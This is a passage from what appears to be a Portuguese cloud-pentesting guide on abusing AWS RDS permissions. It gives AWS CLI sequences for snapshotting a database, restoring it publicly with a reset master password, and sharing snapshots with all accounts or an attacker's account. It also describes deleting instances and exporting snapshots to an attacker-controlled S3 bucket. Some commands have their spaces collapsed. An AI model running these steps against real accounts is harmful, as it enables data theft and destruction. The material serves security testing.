Se o atacante tiver permissões suficientes, ele poderá tornar um BD publicamente acessível criando um snapshot do BD e, em seguida, um BD publicamente acessível a partir do snapshot.
awsrdsdescribe-db-instances# Get DB identifierawsrdscreate-db-snapshot \--db-instance-identifier <db-id> \--db-snapshot-identifier cloudgoat# Get subnet groups & security groupsawsrdsdescribe-db-subnet-groupsawsec2describe-security-groupsawsrdsrestore-db-instance-from-db-snapshot \--db-instance-identifier "new-db-not-malicious" \--db-snapshot-identifier <scapshotId> \--db-subnet-group-name <dbsubnetgroup> \--publicly-accessible \--vpc-security-group-ids <ec2-securitygroup>awsrdsmodify-db-instance \--db-instance-identifier "new-db-not-malicious" \--master-user-password 'Llaody2f6.123' \--apply-immediately# Connect to the new DB after a few mins
Um atacante com essas permissões poderia criar um snapshot de um banco de dados e torná-lo publicamente disponível. Em seguida, ele poderia simplesmente criar em sua própria conta um banco de dados a partir desse snapshot.
Se o atacante não tiver a permissão rds:CreateDBSnapshot, ainda assim poderia tornar outros snapshots criados públicos.
# create snapshotawsrdscreate-db-snapshot--db-instance-identifier<db-instance-identifier>--db-snapshot-identifier<snapshot-name># Make it public/share with attackers accountaws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
Impacto Potencial: Acesso a informações sensíveis ou ações não autorizadas usando credenciais vazadas.
rds:DeleteDBInstance
Um atacante com essas permissões pode realizar DoS em instâncias RDS existentes.
Impacto potencial: Exclusão de instâncias RDS existentes e possível perda de dados.
rds:StartExportTask
A FAZER: Testar
Um atacante com essa permissão pode exportar um snapshot de uma instância RDS para um bucket S3. Se o atacante tiver controle sobre o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis dentro do snapshot exportado.